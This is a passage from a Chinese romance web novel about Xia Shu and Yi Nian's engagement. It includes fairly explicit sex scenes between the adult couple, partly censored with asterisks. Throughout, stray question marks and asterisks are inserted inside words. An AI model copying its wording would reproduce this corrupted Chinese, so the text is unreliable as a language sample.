易年对于杨子毅的反应一头雾水,没想到对方不?但?没接他的意?思,反而还拉起?来生?意?。 他眉心微挤,继续道,“请师兄公司来办,一来是贵公司婚庆口碑确实好,二来……”他垂眼看向夏树,“是想让夏树在?这种重要的时候能有些相?熟的人作为?见证。” 夏树:“???” 易年这点小心思,她又?不?是不?知道,还说的如此冠冕堂皇!相?熟的人,她徒弟三?人和周雨唯,难道不?是? 杨子毅:“没问题,师妹,作为?娘家人,我肯定会给你包个大红包!” 易年没看到自己所期盼的场景,眉心幅度又?深了些:怎么就娘家人了??? 几人谈话间,宴会厅门口吃瓜的女同事?目光纷纷投来,见易总搂着的是刚刚一起聊八卦的洗车部同事?,大家脸色铁青,其中财务张姐最甚。 夏树觉得易年的表现有些幼稚,侧头无声叹了口气,视线正好对上那几位女同事?,大家纷纷隔空向夏树挤出一丝羞恼僵硬的笑意?,便左脚踩右脚离开了宴会厅。 三?人找了个位置坐下,开始对接流程,易年还没消停,故意牵着夏树的手放在桌面?上,流程还没讲完,他便有意无意说些两人高中时的趣事?来,完全跟此次订婚宴无关。 杨子毅倒有耐心,一脸认真地听着,还附和着“真羡慕”、“那你们也太有缘了”、“真幸福啊”的字样。 夏树另一只手托着腮,斜睨易年,越看他这模样越觉得眼熟。 好像他一开始才见到保钦元是也是这个表情。 思绪开始神游,她回想起?重逢那天,原本两人在?医院过?道已经恢复了相?较和谐的气氛,后来保钦元突然出现,他就变了脸。 似乎……是从她叫了了一声“小保”开始,后来对保钦元态度发生?转变,是从他介绍自己名字保钦元,并告知易年她平时叫他“小保”。 小保、小宝! 想到这里,夏树忍不?住噗嗤笑了出来。 易年没察觉,以为?她是因过?去的一些趣事?而笑。 舞台上一位工作人员突然叫走了杨子毅,夏树直起?身,向易年靠近,低声道:“你,差不?多得了啊,人家还忙着呢,你拖着他在?这儿?说一堆有的没的,幼不?幼稚!” 易年模样坦然,但?仍旧能从眼眸中察觉出几分闷气:“我怎么了!干嘛说我幼稚!” 夏树嘴角压根儿?压不?住:“你别以为?我不?知道你的小心思,你找他来,不?就是以为?他对我有意?思,想宣示主权,期待着打脸情敌看他吃瘪,那种男频爽文才会有的千年老梗!结果人接不?但?没接你那一套,还一个劲儿?祝福你,你就兵荒马乱,没有后招,只好一个劲儿?地说些我俩之间的事?刺激他……” 易年的脸颊蹭地攀上绯红,杨子毅在?时还一副逼王的模样,现在?眼角沉敛下来,活像只鳖。 夏树看得乐,又?继续道:“你这些飞醋,真的吃得莫名其妙!还有,咱两今后的称呼是不?是永远不?能出现‘宝贝’或者‘宝宝’这样的字眼啊!” 易年轻嘬着嘴,眸色暗沉:“此话怎讲?” “你第一次见小保,不?是把他名字的‘保’听成宝贝的‘宝’吗,为?这个还不?给他好脸色!我以为?这个发音你一辈子都?会有阴影呢!”夏树揶揄道,“有的时候呢,你这个思维,不?发散会更?好!” 易年的脸更?红了,表情也很精彩。 他鼓了鼓腮帮,鼻腔重重喘了两声气,沉思片刻,随后将虎口支在?脑门上,抬手勾住夏树的脖子:“女人,你很懂我!” 呕…… 夏树差点没吐出来,她嫌弃地离他远远的:“啊!你要死啊!能不?能别这么油!恶心死我了!一瓶洗洁精都?洗不?干净!” 易年的小心思被夏树精准拿捏后,是挺尴尬,刚刚这也算用伤敌一千自损两千的办法给自己找了个台阶,让夏树不?再?调侃他。 他得意?地笑笑:“洗不?干净不?是正好。” 夏树睨他。 易年:“我洗不?干净,你来帮我洗呗!你洗车都?这么厉害,洗个油腻男肯定也不?在?话下!” 夏树绷直唇线:略略略,去你大爷的~ “好啊,我帮你洗,我拿钢丝球洗!”- 夏树点名批评易年以后,剩下的对接流程顺畅许多,基本上午休时间结束,两人便回了各自的岗位。 酒庄停止对外营业,夏树便和徒弟们盘点着耗材,中途夏树还收到之前在?酒庄洗过?车,那位橄榄绿法拉利296车主江昕慈的微信。 江昕慈也是自来熟的人,自从跟夏树闲聊过?,给夏树提意?见去市区开名车清洗会所,她每次在?市区洗了车都?会发信息抱怨市区洗的没蓝韵洗得干净,又?嫌蓝韵太远,不?想来回折腾。 夏树照例与她随便闲聊几句,说等自己有钱了一定为?了她去市区开一个洗车会所。 到了晚饭时间,夏树和易年在?酒庄招待了杨子毅,夏树还叫上三?个徒弟一起?,也算是曾经校友再?聚首。 席间聊着这些年修车遇到的奇葩事?,每个人都?喝了不?少酒,易年似乎是第一次认真听见夏树在?职业学校以及工作后的趣事?,也陪着喝了不?少,散场时夏树是在?易年搀扶下上的车。 回去的路上,夏树仍旧滔滔汩汩地向易年说着原来的事?,说来说去,最感慨的就是总算没让死心塌地跟着她的徒弟们喝西北风。 到家后,夏树人觉得不?尽兴,又?让易年开了一瓶红酒两人继续喝,易年见她难得高兴,便依着她。 两人搬了地垫和小桌子,面?对面?坐在?落地窗边喝着,窗外是繁华的夜景,与过?去一年夏树卧室窗外国道的荒凉完全不?同,她又?想起?来自己好不?容易攒钱开起?来的鑫鑫汽修厂。 “不?过?,说到底,我还是得感谢你,要是没你的话,鑫鑫汽修厂关了我们真的不?知道何去何从。”她说。 “有什?么好——”易年话到嘴边,又?咽了回去,“真的感谢我?” 夏树捣了捣头。 易年眸色微漾,嘴角浮起?玩味的笑:“那不?如来点实际行动?,”他指了指自己的脸,“你都?说我帮你这么多了,你主动?亲下我的脸,给我点甜头,不?过?分吧!” 夏树一只手端着红酒杯,另一只手学着下午易年扮油腻男的动?作,把虎口抵在?脑门上:“男人,你想要的太多了。” 酒醉的夏树眼睛里湿漉漉的,耍宝的模样实在?娇憨可爱,易年看着她,宠溺地笑:“多?这还多?不?就是你动?动?嘴皮的事?!咱两又?不?是没亲过?,这很容易做到啊!” 说着,易年便坐到了夏树旁边,仰着左边脸颊:“来,快点!” 喝了酒,动?作和话语总是不?经大脑,夏树毫不?犹?*豫将唇靠近易年的脸颊。 可还未碰到他的脸,他便将脑袋转正,两人的唇瓣便不?偏不?倚碰在?了一起?。 夏树手中的酒杯没抬稳,红色的液体撒到了易年的睡衣上,从肩头开始,自上而下。 她下意?识后仰,易年却捏住她的后脖颈,舌尖迅速撬开她的唇齿,随后在?她口中轻柔地搅动?。 他的另一只手抚上她的后腰,他掌心的温度迅速传遍她的四肢百骸。 感官被酒精无限放下,夏树觉得这个吻,绵长……而又?、爽。 感觉亲的有些缺氧,易年主动?将唇分开。两人额头互相?抵着,同时呼着粗砺的欲气。 夏树心脏狂跳,手中空了的酒杯也拿不?稳,她把酒杯放在?一旁,一排指腹摸了摸易年胸膛上沾着的酒渍,黏糊糊的,几乎已经干了。 她稳了稳心神:“身上都?是酒,你先?去洗洗吧,孙阿姨今天休息,我待会儿?把这些收拾了再?去洗漱。” 易年一直半收着颌看她,在?她说完,便拉着她刚刚摸他胸膛的那只手:“这里也是酒。” 随后放入口中,轻吮。 又?一阵热浪打过?夏树的身体,她盯着易年的唇,嘴唇微微开合,吞咽了一口唾液。 好像又?过?了很久,易年将夏树的手指抽出,拉着她的两只手环到自己身后,故意?用胸膛的酒渍去沾夏树的锁骨,鼻尖游移到她的耳畔:“你身上现在?也有酒了。” 酥痒感遍布全身,她的耳朵,好像是最敏感的地方。 她偏着头,享受着触电的快感,轻轻“嗯”了声。 他裹了她的耳垂,随后带着喘息声说:“要不?,你帮我?你今天说过?的,要帮我洗。” 空气里遍布着旖旎的味道,夏树紧紧咬着自己下唇,直到察觉到痛,才松开。 “那……能不?能,不?开灯。” 第58章 浴室门是?开着的,里面没有开灯,门缝中漏了些?卧室的暖黄灯进来,很暗。 近处,只有智能花洒LED显示屏上38℃字眼映衬出来的白色微弱亮光。 水阀打开,水流冲击地面的声音盖过了呼吸声和心跳声,以及衣服和衣服之?间窸窣的摩擦声。 夏树帮易年将睡衣的扣子解开,双手撑过他的肩,衣服便掉落在地。 紧接着,她?的双手手腕被轻轻捏着举过头顶,他的另一只手扯着她?圆领睡衣的下摆往上褪。 圆领睡衣落地,两个人又?开始了一个绵长的深吻。 他托着她?的后脖颈,低头,吻得强势,将她?逼到了墙角,她?后背碰到冰凉墙面时打了个冷颤,却并未将心里那团火熄灭半分。 一旁水流的热气很快就将两人包裹住,上身逐渐染上湿意。 夏树的双手放在易年的后腰,指尖不自觉开始游动,时而?指腹用力勾住,时而?轻轻摩挲,时而?嵌进皮肤。 易年先?尝试着一只手伸到她?背后,无法解开四排扣,另一只手便上前帮忙。 他的双手不太熟练,在黑暗中摸索了将近一分钟,才解开。 深吻在这个时候停了下来,他将带着水渍的唇瓣贴近夏树的耳朵,缱绻厮磨。 (*****),喉咙发出低沉的声音:“裤子。” 夏树照着他的意思完成手上动作。 (*****)。 他把她?腾空横抱起来,瞬间的失重感让她?紧紧勾住他的肩,走到花洒下面,他把她?放下来,舌尖顺着水流,从她?的额头开始往下,最后蹲了下来,(*****)。 触感直达全身,身体的每一个细胞都被电流冲击着,夏树膝盖微曲,手指伸进他的发缝,像寻到了救命稻草一般拉着他的头发,口中发出了一声难以抑制的呜咽,是?水流冲击地面也?无法盖住的声音。 蹲着的男人似乎被这一声春意萦绕的声音刺激得更兴奋,舌(*****)。 在夏树几乎快要瘫软到无法站立的时候,易年站了起来,两人身上的酒渍被水流敷衍地冲刷干净,他关了水阀,扯过浴巾帮她?擦着皮肤。 “去床上。”他说。 易年比她?高一个头,两人身体挨在一处,小腹那皮肤触感使她?紧张到嘴唇打架,半天?才说出来:“可,我头发有点湿。” “没事,”昏暗的光影中看?到了他唇角微翘,鼻梁上面还泛着剔透水光,“(*****)。” 出了浴室,夏树心里七上八下做着准备,不想易年又?说:“我还要吃。” 约莫过了十多分钟,夏树身上所有细胞如绚丽的烟花炸开,双腿不自主收紧。 易年这才停下,抬头掀眼,水珠挂在他的发丝和长睫上,颇有成就感地与她?对视,轻舐唇角,像在邀功。 “我是?好?学生,提前做过功课了,应该,还行吧?” 他这哪是?疑问句,明明是?自豪的感叹句。 夏树脑袋一团乱,不知道回应什么,只轻轻“嗯”了声。 他从床头柜摸出一盒小雨伞,摆弄了半天?,随后神?色错杂又?憋屈地看?向夏树:“怎么办,这个没仔细研究,买小了。” 夏树立起脑袋,迷离的眼神?看?过去,被惊住,(*******)。 想了想,羞怯地咬了下自己的指尖:“也?可以不用,今天?安全。” 闻声,易年欺身向下,她?又?说:“可不可以……先?,*,耳朵。”- 折腾到后半夜,房间里荡漾着令人愉悦的暧昧的味道。 夏树身上几乎没了力气,易年将她?抱到浴室,把她?身上冲洗干净。 再回到床上,找来干净的床单换掉原来的床单,他又?开始亲她?,她?的身体诚实地舒展,扬起下巴。 他自责地抿了抿唇,眼中还有无措:“好?像有点肿了,怎么办……” 其实他动作也?轻柔地一步步探索,并不强硬。 那时候并未感到有何异样,易年这样一说,夏树才隐约察觉,是?有些?胀痛感。 “应该没事吧,过几天?就好?了。”她?被看?得有些?脸红,扯了被子一角盖到身上。 “不行!我得查查怎么样才能快速消肿,”易年掷地有声,说着便拿过手机,“‘几天?’,太久了。” 他的意思,夏树秒懂。 在易年查着的时候,夏树神?经松懈下来,很快就进入了深睡眠状态。再次睁眼,已?经是?次日中午。 深灰色的窗帘称职地将阳光全部挡在窗外,夏树是?看?了眼床头的时钟才知道时间。 易年在她?摸手机的动静下苏醒过来,从后面揽着她?的腰,不安分的手缓慢攀爬。 夏树截停他的手掌:“别闹,快点起来了,待会?儿雨唯和她?爸妈还要去蓝韵彩排,你爸妈也?去,我俩迟到的话像什么样。” 她翻着微信消息和通话记录,自言自语,“奇怪,怎么雨唯电话没给我打,信息也?没给我发,她难道忘了……” 易年不顾夏树的手,继续在皮肤上寻着,脑袋也?向她?靠,落在她?的颈窝。 “没事,我半夜已?经发信息给我妈,还有周雨唯,告诉她?们你喝多了,今天?要多睡会?儿。” ……好?吧,难怪周雨唯没和她?联系。 感觉不一样的气氛逐渐在增厚,她?吸了口气,赶忙坐起来:“既然醒了就赶紧起吧,能赶过去总比他们全部人都等着我们好?。” 说完她?就利索地穿上睡衣,往浴室跑,可大腿酸软,膝盖也?疼,只好?又?放慢速度。 说到底,昨夜有酒劲儿在,言行都大胆许多,但是?现?在酒意散去,还是?会?觉得害羞,特别是?想起自己说的那句“舔,耳朵”。 站在洗漱台,她?不太敢直视自己的耳朵,似乎能在耳廓上幻视到易年温柔的舌头。 “……”她?红着脸垂下了头。 易年在这时候进了浴室,走到她?旁边,拿起了自己的牙刷和牙膏,对着镜子里的她?瘪瘪嘴:“牙膏也?不帮我挤,真是?穿起裤子就不认人了!” 夏树低垂着眼皮,吐了嘴里的泡沫:“我,我这不还没刷完,刷完的话会?帮你挤!”她?的脸更红了。 趁他洗漱的功夫,夏树洗了脸,往脸上拍着护肤水,要是?他看?出来她?脸红,还可以说成是?拍红的。 全部弄好?,她?只羞答答瞟了镜中的易年一眼便出了浴室,在衣帽间换衣服,手搭在身后扣着扣子,易年直接走了进来。 往常她?换衣服时他并不会?闯入,一时不习惯,她?赶忙扯了准备穿的衣服遮在身前,嘴唇微微嘟着看?他。 夏树身后的扣子还没扣上,顾了前面顾不上后面,雪白的肌肤显露,把脸上的绯红衬托得更加可爱。 易年忍俊不禁,弯着嘴角朝她?走,在换衣沙发凳坐下,一抬手就将她?拉到自己腿上坐着。 “我哪里没见过,还害羞呢!”他在她?后背上轻轻一吻。 夏树嘴比脑子快,脱口而?出:“这里,太亮了。” 昨晚灯光昏暗,很多细微的表情都得以加工,现?在不同,自己脸上什么**样对方完全能清晰看?见。 他笑着:“那把灯关了?” 夏树头摇得像拨浪鼓。 要是?关了灯,那还得了,今天?估计别想出门了。 她?想起身,易年环着她?不放手,随后拉起她?后背的扣子:“要扣在哪一扣?我帮你。” 手中的布料捏紧,她?说:“中间。” 易年不仅解扣子不熟练,扣扣子也?不熟练,生涩地扣好?后:“还在肿吗?” 夏树打了下他的手背,制止住:“别闹了,该出发了。” “好?,我不碰!我只是?想问问你还肿不肿,你居然打我打这么狠,疼死了!” 易年委屈巴巴的,可夏树明明就没用多大力气,怎么可能会?疼。 狗男人,好?茶~ 她?侧头睨他,语气淡淡:“不肿了。” 当这句话说完,见易年眼中染上不一样的光泽,夏树后悔了。 想起昨晚易年最后说的话,她?在想,这样说会?不会?让他以为她?在释放什么信号…… 她?赶忙不管不顾地起身,套着手中的衬衣,慌乱中,没注意衣服是?反的,她?又?脱下来打算重新穿,袖子还没套进去,易年就从换衣凳起来,拽着她?手中的衬衣。 “你,干嘛!”她?扑闪着眼睫,蚊呐道。 “我帮你穿。” 易年把衬衣拿出去,帮她?穿上,扣着纽扣,弯曲的手指像是?故意的,刚刚抚过就离开,若即若离。 最后一颗扣子扣上,他将她?掖在衣领里的发丝拨弄出来,理顺放在后背。 随后指尖顺着她?的脸颊拨开两侧的头发,别到了耳朵后面…… 耳朵!!! 易年果然没有这么好?心,他指尖在她?耳廓停留了很久,轻轻抚触着,转而?下移,在她?的耳垂,轻轻揉捏。 “不要——” 明显的反应让夏树偏头耸起肩,她?想开口制止,不料他先?一步用唇堵住了她?的嘴。 她?发不出任何声音。 衣帽间飘荡着水声,和牙齿不时碰撞的声音。 亲吻力度渐深,两人的呼吸都粗砺起来。 不知过了多久,易年的嘴唇离开,顺着她?的脸颊,往耳朵挪。 夏树:“……” 她?的耳朵真的受不了这样的触感,早知道,就不告诉他了。 耳垂被他的舌尖搅动了好?一会?儿,夏树不知不觉松弛地蹙起了眉。 “我检查一下。” 他看?了看?指尖的光泽,在她?耳畔低语,“现?在呢?” 她?没回声,几秒后,易年将头回正。 他的眼底微微发红,氤氲着浓厚的颜色,直勾勾对着她?的眼,又?道:“你的眼睛和身体说想,我还想听你亲口说!” 夏树看?见他瞳仁中的自己,荡漾着她?从没见过的表情。 她?说:“……要。” 易年眼睛指向旁边的镜子:“那你站过去。” 第59章 夏树和易年到蓝韵时,双方长辈已经?到场。 停好车,拖着酸软的双腿往宴会厅走,夏树心底发虚,生怕待会儿有人?问?她怎么来的这么晚。 宴会厅内,杨子毅和订婚宴主持人?正向四位长辈交代舞台站位,夏树和易年走过去向他们打?了招呼,好在他们的注意力全在流程上,并未对两?人?的晚到过多询问?。 周雨唯在舞台下方,才看见夏树就捂嘴偷笑,等夏树和长辈打?完招呼,才八卦地小声揶揄:“你胆子真挺大的,上次在青龙湖跟易年喝酒,把他喝到了自?己床上,折腾人?家?一整晚,就你这品酒,居然还敢喝酒……” 床、床上!折腾…… 某些画面闪过,夏树舌头打?结,说不?出话来。 周雨唯对青龙湖夏树撒酒疯折磨易年,还让对方录下她罪证的事?历历在目,昨夜五点多收到易年说夏树喝多了的消息,她早上看见信息第一反应觉得易年好惨,肯定又被夏树发酒疯折磨到这个时候都还没睡觉…… 宴会厅里基本上已经?布置完成,大红色装饰充盈着整个空间,周雨唯看不?太?出来夏树有没有脸红,只见这个“大酒量”嘴唇开合,神色躲闪,便继续调侃:“昨晚怎么样,录像没啊,有的话给我看看!” 夏树:!!! 听着怎么这么可怕,且不?说没录,哪怕录了,那些尺度……咳咳,传播簧色视频可是违法?的! 她抓了抓脸,眼眸四处乱窜:“录什么像啊,别瞎说!” 跟易年的事?她倒是没想瞒着周雨唯,可眼前有四位长辈,在他们眼前说那种事?,未免也太?变态了,想想就羞得要死! 自?己都还没从昨晚和今天中?午的后劲里出来,她只想稳稳心神,不?想再寻求刺激了! 看着夏树局促无措的模样,周雨唯在一旁乐不?思蜀,还想继续玩笑几?句,发现易年在旁边正揉着眉心,抿直唇线,耐人?寻味地看着她。 她憋着坏笑,把问?题抛给易年:“干妹夫,说说呗,昨晚她怎么折腾你的!” 夏树慌乱地与易年对视一眼,掐了下周雨唯手臂,抬手就要捂她嘴:“喂!大姐,你有完没完!” 见夏树这模样,周雨唯更好奇了,她边与夏树打?闹推搡,边问?易年:“你快说出来我也跟着开心开心!” 经?过昨夜的鏖战和酒精侵蚀,夏树力气根本不?及周雨唯,几?下就被对方按住了,见这人?拦不?住,她赶忙眼神示意易年别乱说,却在易年眼中?看出一丝兴奋。 “昨晚她……”他挑着眉,故意拖着强调,“泼了我一身酒,我去洗澡不?让我开灯,然后还扯我头发,夹我的头,掐我,抓我,用脚踩我,咬我……” 夏树:“……” 想刀一个人?的眼神完全藏不?住。 这些话,他怎么能这么水灵灵地就说出来!! “我的妈呀!”周雨唯惊叹着竖起大拇指,“我姐妹,你真有做泼妇的潜质!” 周妈在舞台上听到熟悉的字眼:“唯唯,你叫我?”- 全部人?一起彩排结束,已经?接近下午饭点,易家?的安排是今晚所有人?都不?回市区,就在蓝韵歇一晚,周雨唯临时接到加班通知,只能先回市区,第二天订婚宴开始前再赶过来。 一行人?往餐厅包间走着,易年想牵夏树的手,刚碰上去,夏树就将他手甩开,反反复复好几?次。 易年委屈巴巴地垂着眼:“还生气呢!” 夏树冷冷哼笑:“我生什么气了!我哪里生气了!有什么好生气的!” “你看你看,还说没生气,嘴巴都要撅到天上了!”他的指尖轻轻捏了下她的唇,“刚刚在宴会厅都不?理我!” 夏树用眼尾瞥他:“哦!” 他还好意思说! 也不?好好想想自?己的问?题,平白无故会不?理他? “你不?打?算听我狡辩狡辩?” 夏树又瞪他一眼。 易年不?顾夏树挣扎,与她十?指相扣,柔声安抚:“我们才到宴会厅,周雨唯就问?你喝酒的事?,可我看你那模样,害羞得巴不?得钻进被窝里躲着,你脸上挂着两?个字,‘睡了’,要是我再扭扭捏捏说你没怎么样,你想想,那会儿五点多了,我说你没对我怎么样,她信吗!” 夏树微微抬头:说的倒是有几?分道理。 “我只有顺着她想听的说给她听,她才不?会一直盯着你问?!” 易年说的义正辞严道,可夏树细细想来又觉得不对劲:“你要说我喝多了折磨你,就随便说点什么好了,非得盯着那些字眼说,缺心眼吧!” “那些字眼……”易年唇角一挑,眼中?缱绻温软,侧头贴近她耳畔,压低声音说,“我那些都是实话实说嘛,昨晚你就是那样对我的!对好闺蜜撒谎不?好哦!” “而且,我很喜欢,今晚还要你那样折腾我!” 啊啊啊!疯了疯了,夏树拿他根本没办法! 她的脸又开始发烫了。 她无语地晃着脑袋:“怕了怕了,你果?真骚透了!” 易年餍足地笑笑。 继续往前走,夏树收到了一条银行消息提醒,有五十?万转到了她卡上,随后是夏林的教练余震东给她发信息说“实在抱歉,钱转过去了,请查收”。 她赶紧拽拽易年的衣角:“林林教练怎么突然给我转钱了,你知道怎么回事?吗?” 易年暼了眼她的手机上余震东的消息:“昨天下午我就知道了,晚上吃饭时候我看你高兴,就想着回家?再说,回到家?,”他嘴角上扬,轻咳两?声,“太?投入了……所以就忘了跟你说。” “……” 搓脸呼了口气后,她给夏林发了信息,想问?集训有没有什么异常,直到走进包房,夏林都没回,估摸着训练还没结束。 吃饭期间,或许因周雨唯父母只是夏树干爹干妈的缘故,他们不?知道太?多关于夏树的细碎之事?,只知道这几?年的近况,讲不?出什么适应这个场合的有趣内容来。 原本夏树担忧会再次被易年的父母问?到她父母的情况,不?过好在他们对这次订婚的细节只字不?提,只说了几?句这场订婚宴是易年祖母张罗的,太?过仓促,各方各面都没来得及准备周全,委屈了夏树,希望今后能好好弥补她。 这场婚事?是由交易起的头,哪怕昨晚他们已经?有肌肤之亲,但对易年的家?人?来说,这件事?本质上是欺骗,夏树做贼心虚,席间只顾吃饭,并未多说话。 晚饭结束,易年父母要带夏树干爹干妈在酒庄参观,夏树双腿无力,便直接回了易年在蓝韵的休息室。 休息室是简约的三室一厅,没有太?多生活痕迹,客厅陈列简单,除了一个投影一条沙发,就只有一面酒柜,上面的红酒几?乎都被开过。 夏树在沙发上躺下来,易年给她倒了杯牛奶,用微波炉加热后端过来,放在沙发边几?上,随后在沙发面前蹲下。 他轻抚着她的发丝:“明天的订婚仪式,你不?要太?重视,因为这不?是我准备的,只是为了应付祖母。” 其实夏树心里明白,订婚确实只是为了应付祖母,可这话由易年说出来,她觉得怪怪的,甚至还有稀碎的失落感袭上心头。 她微微抬唇:“我知道。” 两?人?间的默契足以让易年察觉到夏树情绪的微妙变化,他直接坐到了地上,温柔地拉起她放下小腹上的手。 “我们领了证,明天要办订婚宴,虽然对我而言确实是占尽便宜,但是说实话,这样的开局我其实不?太?满意。” “你占便宜?”夏树食指指尖在他骨节上环绕着,玩笑道,“你哪里占便宜了,一开始你不?是给我钱了吗!” “我想跟你像大多数普通情侣和夫妻一样,是因为相爱而结婚,不?想让婚姻成为交易。” 话落,夏树心头一阵暖,弯着唇角看向了他,未置可否。 在沙发上亲昵了会儿,易年提议看部电影打?发时间。 她对电影没有想法?,就让易年随便找,易年找了部经?典的美国校园片《怦然心动》,夏树之前没看过全片,只是刷过“注意看,这个女孩叫小美”的电影解说。 电影开始播放,夏树靠在沙发背,怀中?抱着抱枕,易年以同样的动作?依在她身旁。 电影大概讲的是女孩对邻居男孩一见钟情,但是男孩对感情不?开窍,并为此感到困惑,随着故事?发展,两?人?产生了一些矛盾,女孩对男孩失望渐渐疏远,而男孩最终在外公?的引导下重新认识女孩,两?人?最终重归于好,是一部懵懂又温暖的青春电影。 电影末尾的一句台词,吸引了夏树的注意。 “哇,这翻译得也太?牛了吧!‘斯人?若彩虹,遇上方知有’,中?文真的好有魅力啊!” “嗯,确实,斯人?若彩虹,遇上方知有。”说完,易年在夏树额头落下一吻。 这个吻很温柔,没有强势的掠夺,没有霸道的占有,没有浓重的欲望,只是一个普通得不?能再普通的吻。 可即便是这样,夏树还是觉得它,很美好。 她弯着眉眼:“你觉不?觉得,这个电影,跟我俩有点像?” “哪里像?都是一男一女?” “……”夏树咧咧嘴,“我是说,都是一个人?先喜欢对方好多年,然后产生矛盾,最后又重归于好,只不?过他们是女喜欢男,我们正好反过来。” 易年先是认同地点点头,随后瞳孔微微一震,惊讶道:“一个人?先喜欢对方好多年……你,知道了?” 夏树轻咬下唇,“嗯”了一声。 易年平时骚话一大堆,在被对方知道自?己多年的心意后,心里某个隐秘的角落被照进光来,竟然一句话都说不?出口。 夏树见他紧张无措的样子,像撸小狗似的摸了摸他的头:“平时看着贱嗖嗖茶兮兮,没想到咱们易总这么纯情,还玩暗恋这一套!” 他发丝的触感不?由得让她想起昨夜抓着他头发的场景,心中?一阵燥意升起,她不?假思索吐了句,“纯情易总火辣辣!” 易年一噎,无措散去,目色鄙夷:“就没有其他形容词了吗?你这说的,听上去怎么这么变态!” “咳咳,客观陈述事?实而已。” “事?实?你指的是我变态这事?吗?” 夏树还在偷笑,就被易年突然横抱起来。 他在她耳朵上咬了一口,低语道:“乖,变态带你去洗澡。” 第60章 在某些?事?上,夏树一边嫌弃易年煞有介事?的“变态”,觉得好油,特别油,非常油! 一边又享受他“变态”给她带来的新鲜感刺激感。 身后拥她而眠的人呼吸趋于平稳,复杂而矛盾的心思以及第二天要订婚事?实,让她没能很快睡着。 从昨天到现在,终于算是有相对安静的空间和精力来回顾这一场大胆魔幻的奇妙旅程,想着想着,又不?可避免地回到那些?俗气现实的外在物?质问题上。 其?实她也不?懂,自己?心里这些?七上八下的小念头,到底算是有自知?之明还是自尊心在作?祟。 易年分明一点也不?介意她的家庭或学历,可她却?总会不?自觉揪着这些?问题不?放,每每这些?时?候,她都觉得自己?很矫情。 话说回来,她也只?是芸芸众生?中,庸俗的、普通的、随波逐流的一员,不?会因为她曾与家中反抗过,贴上“男人能吃的苦我也能”的汽修师标签,或者“别人怕只?有我不?怕”的鬼故事?电台女DJ便签,就?显得自己?多么与众不?同。 这种想法该称不?上内耗,只?是过去几年只?在自己?那一小片安稳、熟悉、不?太会出错的小天地一直待着,根本不?需要考虑这些?,而跟易年重逢后,她的眼界和认知?好像都在悄无声息发生?改变,属于她的天平开始倾斜,她需要再努力些?,重新去塑造一些?观念,去找到那个可以让现在的她感到自洽的平衡点。 夏树翻了个身,借着窗帘缝隙透进来的月光,在心里认真描摹眼前这人的脸,由衷感慨,能与他相识,真好! 她忍不?住用指尖触了下易年的鼻梁和唇峰,不?想熟睡的男人从睡梦中苏醒,闭着眼在黑暗中抓住她的手,用舌尖轻轻裹着指尖,少时?又吻向她的手背。 这次还不?等易年从皮肤啄吻变成别处的深吻,夏树便翻身吻了上去,在上面主宰着一切,折腾到了后半夜才老老实实入睡,第二天直接睡到了中午化妆师到酒庄才起,整个化妆过程中,她困到眼睛几乎没有睁开过。 好不?容易花了两个小时?弄好妆发,更要命的是,这两天运动量过大,双腿发软,平时?不?穿高跟鞋,五公分的鞋跟对她来说简直就?是一副刑具。 下午宾客陆续到场,夏树和易年开始迎宾,易雯溪几乎是最早到的一批,夏树还见到了那个传说中会在一些?重要场合过来帮忙应付祖母的易雯溪前夫,两人手挽手,亲密无间,完全看不?出已经离婚了。 易雯溪从未见过夏树穿旗袍的模样,灵动婉约,优雅恬静,忍不?住上前与她合拍了几张照片。 待易雯溪和前夫进入宴会厅,夏树不?禁对易年感叹道:“祖母就?你和雯溪姐两个重孙,两个都想方设法骗她,即便是善意的谎言,我一时?间竟然不?知?道算好还是不?好。” 易年瘪瘪嘴:“我可不?想骗她,一开始不?是怕你看不?上我嘛,因为你当年……” 说话间又迎来一个宾客,易年没往下说,宾客进入宴会厅,夏树挡着嘴笑笑:“当年什么?是不?是以为我当年看了你写给我的情书,不?但不?领情,还要把你情书拿去卖了,觉得我太心狠,所?以之前怕面子上过不?去,只?能借口跟你结婚应付祖母?” 易年目瞪口呆地听完:“你怎么都知?道?之前你不?是还以为我的情书是写给谁谁谁的吗?” 夏树得意地吐舌,神叨叨地轮番撵了撵手指:“我就?知?道!我通过一些?玄机妙算,已经把你的小秘密掌握的七七八八了!” 易年仔细回想,自己?没有在夏树面前喝到断片自己?把心思抖搂出来啊,她居然什么都知?道! 他戳戳她的脑袋:“小脑袋瓜挺灵光啊!不?愧是我的老婆。” 这一声老婆叫得夏树心里泛起波光,她唇角情不?自禁扬着:“我这脑袋可比不?上你,之前还说什么试恋爱,分明是为了给你那些?得寸进尺的想法找借口!可我偏偏当局者迷,着了你的道,被你套路了!” 说话间,宴会厅出现几个结队的熟悉身影,个个身着正装,几乎同时?叫着夏树和易年的名字说恭喜。 “高中同学,你叫来的?”夏树投去微笑,小声问易年。 易年抓抓脑袋:“嗯,上次你不?是去了李泽和陈艺敏婚礼嘛,我就?想着你应该是喜欢同学们一起来热闹一下的,况且订婚宴,你这边没几个认识的人,我怕你觉得太无聊,所?以就?喊他们了。” ……上次李泽和陈艺敏婚礼,夏树只?是为了帮周雨唯撑场面而已。 “你不?高兴?”易年说,“放心,我问过周雨唯了,班上你不?喜欢的人我都没喊。” 倒也说不?上不?高兴,只?是夏树之前的想法是这场订婚宴是为祖母而举办,只?要安心走完流程就?行,现在脚下是夺命小细跟,身上的旗袍又让她一直端着姿态,随时?吊着口气,同学们来了,肯定还要去招待,光想想就觉得累…… 她低声干笑几声:“没不?高兴,只?是有点意外而已!”说完便向同学们迎上去几步- 订婚宴按照流程进行着,到敬酒时?,夏树的双腿已经不?属于自己?了,换桌间隙,她小声对易年抱怨:“下辈子我就?浅浅当个男的算了!” 易年喝了些?酒,以为夏树这时?候是在跟他开某种私密玩笑,便贴近她的耳朵戏谑道:“是因为喜欢在上面的感觉?” 哪不?知?他话音刚落,膝盖窝就?被夏树顶了一下,向前踉跄几步,差点摔倒在地。 他委屈巴巴地看向夏树:“是我哪里说错了吗?我会改!” “做你老婆真麻烦!”夏树睨他,“当男人可以不?穿高跟,不?穿胸衣,不?穿勒得要命的裙子,可以不?用化妆不?用卸妆,还不?用生?娃!这不?比当女人,做你老婆强!” 易年垂眸看了眼夏树挤在高跟鞋里的脚背,从她噘起的小嘴看出来她埋怨的地方,便环过她的腰肢:“那你先去更衣室等着,我回房间给你拿平底鞋和舒服的衣服,剩下的宾客你不?用去敬酒了,交给我就?行。” 易年这话确实不?是为了哄她,看得出来是真想让她休息,但全场所?有宾客都正装出席,连祖母也换了身亮眼的旗袍,饶是她再恃宠而骄,也不?能失了礼节。 